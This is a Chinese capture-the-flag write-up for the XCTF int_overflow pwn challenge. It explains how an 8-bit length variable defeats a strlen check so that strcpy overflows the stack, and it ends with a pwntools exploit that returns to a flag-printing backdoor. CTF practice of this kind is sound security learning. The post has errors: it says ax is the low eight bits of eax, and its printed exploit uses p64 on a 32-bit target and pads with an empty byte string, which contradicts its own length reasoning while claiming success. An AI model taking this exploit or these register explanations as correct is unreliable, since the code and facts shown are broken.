CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神
  kfLTHs171Dp5 2023年12月06日 29 0

分析

这题题目已经在暗示用int数据的overflow了,不过不急,先分析一下。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_CTFpwn

保护

基本没啥保护,也挺好,适合不用搞太多花里胡哨的泄露,只需理解这题想告诉你的知识。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strlen绕过_02

后门函数

看到有一个what is this函数,正是我们要的cat flag函数。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_功防世界题解wp_03

main函数

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strcpy_04

login函数

main函数里需要的操作很简单,只需输入一个1就欧克。然后到login函数看看有啥。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_功防世界题解wp_05


check_passwd函数

看到有两个输入点,似乎可以存在栈溢出。但是想都不用想check_passwd肯定不会让你这么轻松溢出的。更别提这个函数给buf这个变量足足分配了512个字节,而我们输入0x199还离着远着呢。只能在看看check函数了。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_CTFpwn_06

可能的破绽

不用说,一看strlen和strcpy就知道,这题考点肯定就在这了。

仔细看看s就是我们之前输入的buf,被作为参数传进来了。可以看到s会先通过一个检查,程序只允许长度大于3且小于等于8的密码,只有这样才会执行strcpy函数,将我们的s复制到dest里面,在栈上看到dest距离我们要覆盖的ret地址很近,如果我们能够绕过刚才strlen的限制,毫无疑问我们可以覆盖到这个地址进行栈溢出。(刚刚输入的buf可是足足有0x199个字节。)

还有一个值得关注的点,unsigned __int8 v3v3被定义为了一个无符号短整型。其中__int8的意思是只占8bit位,也就是1个字节,这一点在栈上看的更清晰,var_9的位置从-9开始到-8。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strlen绕过_07

那现在的问题就是如何绕过程序的strlen函数的长度检查。这个程序在C语言的层面无懈可击,但是我一直认为做pwn就是要从汇编层面找漏洞,从而对C语言或其他程序进行降维打击。

可能的突破口

我们有两个可能的突破口

1.用\x00来作为字符串的结尾绕过strlen的检查,但是问题在于能绕过strlen,strcpy也会被骗过,这种方法我没成功,但我感觉是有可能的,大家感兴趣可以试试。

2.通过输入一个很大的长度让v3溢出,从而让v3只存下一个大数字最后的低几位,从而使v3范围在3到8直接,绕过if的判断。

gdb看汇编

话不多说,看看gdb里的情况。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strcpy_08

这里我输入的密码是aaaabaaa。而cmp和jbe指令就对应着判断v3是否小于等于3,cmp和ja指令就判断v3是否大于8,可以看到如果判定失败,都会跳转到同一个位置,很明显我们就会失去我们需要的strcpy。(这里cmp和jbe和ja指令如果不熟悉建议去搜一下,很快就会明白了。

而这里的重点在于他的比较是用al的值来比较的,而al是ax的低八位,而ax是eax的低八位(如果这是64位程序,eax还是rax的低八位)

确定思路

那么很明显,al只是一个有8bit位的很小的数。这就和刚才的v3对应上了。我们知道2^8是256,由于v3是无符号数,所以v3的范围从0到255.那么这里绕过判断的思路就很明确了,我们应该先输入256个字节的垃圾数据填满v3,而后在输入3到8个字节的数据,这样就可以绕过判断了。

exp编写

问题一

但是我们这样输入在执行strcpy之后栈上会填满我们的垃圾数据,而我们ret的地址也会发生这样尴尬的事。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strcpy_09

假设我们的payload如图,很明显我们的back_door地址永远也不会覆盖到他该在栈上的地址!会发生这种搞笑的事。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_功防世界题解wp_10

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strcpy_11

不过这个问题还算好解决,我们计算好距离,把back_door地址插入在一堆的a里面就好。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_功防世界题解wp_12

问题二

不过这里我们看到一个尴尬的事,eax保存strlen函数返回值,而现在eax是0x18,想都不用想肯定只读了0x14个a和back_door地址。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_功防世界题解wp_13

在python的DEBUG界面很清晰看到我们的back_door地址后还跟了四个字节的0,如何解决这个问题呢,我的方法很暴力。上exp!

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strcpy_14

看看exp

from pwn import * 
context( 
    terminal = ['tmux','splitw','-h'], 
    os = "linux", 
    #arch = "amd64", 
    arch = "i386", 
    log_level="debug" 
) 
#elf = ELF("./over_flow") 
io = process("./over_flow") 
#io = remote("61.147.171.105",58664)
def debug(): 
    gdb.attach(io) 
    pause()
debug() 
#########################################################################################################################
back_door = 0xaaaabaaa0804868B#我直接用aaaabaaa改掉那几个讨厌的0,让strlen函数继续读下去。
payload = b'A'*(0x18)+p64(back_door)+b''*(0xe4)
io.sendlineafter(b"Your choice:",b'1')
io.sendlineafter(b"Please input your username:\n",b'DBG')
io.sendlineafter(b"Please input your passwd:\n",payload) 
io.interactive() 
#103<总长度<=108

实际运行效果如下。

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_strcpy_15

可以看到成功运行,拿下!

CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神_功防世界题解wp_16

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年12月06日 0

暂无评论

kfLTHs171Dp5